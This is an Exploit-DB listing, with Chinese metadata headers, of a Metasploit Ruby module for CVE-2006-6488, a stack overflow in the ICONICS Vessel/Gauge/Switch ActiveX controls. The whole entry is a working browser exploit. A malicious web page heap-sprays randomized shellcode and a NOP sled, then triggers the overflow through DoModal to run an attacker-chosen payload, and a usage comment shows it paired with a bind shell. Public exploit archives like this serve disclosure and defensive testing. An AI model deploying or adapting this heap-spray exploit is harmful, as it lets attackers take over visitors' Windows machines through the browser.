标题: ICONICS Vessel / Gauge / Switch 8.02.140 - ActiveX Buffer Overflow (Metasploit) EDB-ID: 6570 CVE: 2006-6488 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-25 漏洞利用脚本: ##
# $Id: iconics_dlgwrapper.rb 1 2008-09-21 22:43:00Z kf $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
#
# $ msfcli exploit/windows/browser/iconics_dlgwrapper RHOST=10.211.55.6 PAYLOAD=windows/shell_bind_tcp E

require 'msf/core'

module Msf

class Exploits::Windows::Browser::Iconics_Dlgwrapper < Msf::Exploit::Remote

 include Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ICONICS Vessel / Gauge / Switch 8.02.140 ActiveX DoModal Overflow',
   'Description'    => %q{
     This module exploits a stack overflow in the Iconics Vessel / Gauge / Switch ActiveX controls
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'tebo', 'kf' ], 
   'Version'        => '$Revision: 2 $',
   'References'     => 
    [
     [ 'URL', 'http://www.kb.cert.org/vuls/id/251969' ],
     [ 'URL', 'https://www.securityfocus.com/bid/21849/info' ],
     [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6488' ],
     [ 'URL', 'http://www.iconics.com/support/free_tools/FreeToolsActiveX_DlgWrapperHotFix.zip' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'BadChars'      => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # This most likely works with Switch and Gauge ActiveX controls as well 
     # Thanks for the target testing tebo. Verified on 2kSP4, XPSP0, XPSP2, XPSP3 
     [ 'ICONICS Vessel ActiveX 8.02.140 - Universal EIP hit', { 'Payload' => { 'Space' => 412 } } ],
    ],
   'DisclosureDate' => 'Jan 10 2007',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
                # Re-generate the payload  
                return if ((p = regenerate_payload(cli)) == nil)
                # Encode the shellcode
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Randomize the javascript variable names
                var_i  = rand_text_alpha(rand(30)  + 2)
                rand1  = rand_text_alpha(rand(100) + 1)
                rand2  = rand_text_alpha(rand(100) + 1)
                rand3  = rand_text_alpha(rand(100) + 1)
                rand4  = rand_text_alpha(rand(100) + 1)
                rand5  = rand_text_alpha(rand(100) + 1)
                rand6  = rand_text_alpha(rand(100) + 1)
                rand7  = rand_text_alpha(rand(100) + 1)
                rand8  = rand_text_alpha(rand(100) + 1)
                rand9  = rand_text_alpha(rand(100) + 1)
  rand10 = Rex::Text.to_unescape(rand_text_alpha(1), Rex::Arch.endian(target.arch))

  idname = "DlgWrapper"
  targetname = rand_text_alpha(rand(100) + 1)

  content = %Q|
   <html>
   <object classid='clsid:9d6bd878-b8eb-47e5-ab1c-87d74173baa' id='#{idname}'></object>
   <script language='javascript'>
   // begin skylined technique - use the common MSF randomized version.
   var #{rand1} = unescape('#{shellcode}');
   var #{rand2} = unescape("%u0d0d%u0d0d"); // unicode nops.... 
   var #{rand3} = 20;
   var #{rand4} = #{rand3} + #{rand1}.length;
   while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
   var #{rand5} = #{rand2}.substring(0,#{rand4});
   var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
   while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
   var #{rand7} = new Array();  
   for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} };
   var #{rand8} = "";
   for (#{var_i} = 0; #{var_i} < #{payload_space}; #{var_i}++) { #{rand8} = #{rand8} + unescape("#{rand10}") };
   #{rand8} = #{rand8} + unescape("%0c%0c%0c%0c"); // Return address for the heap sprayed nop sled
   var #{targetname} = new ActiveXObject("#{idname}.BrowseFile.1");
   #{targetname}.DoModal(#{rand8},"#{rand9}");   // Trigger line
   </script>
   </html>
                  |
  
  print_status("Note: The free ActiveX Controls (Gauge, Switch & Vessel) have a hotfix available.")
  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, content)
  handler(cli)
 end

end
end

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6570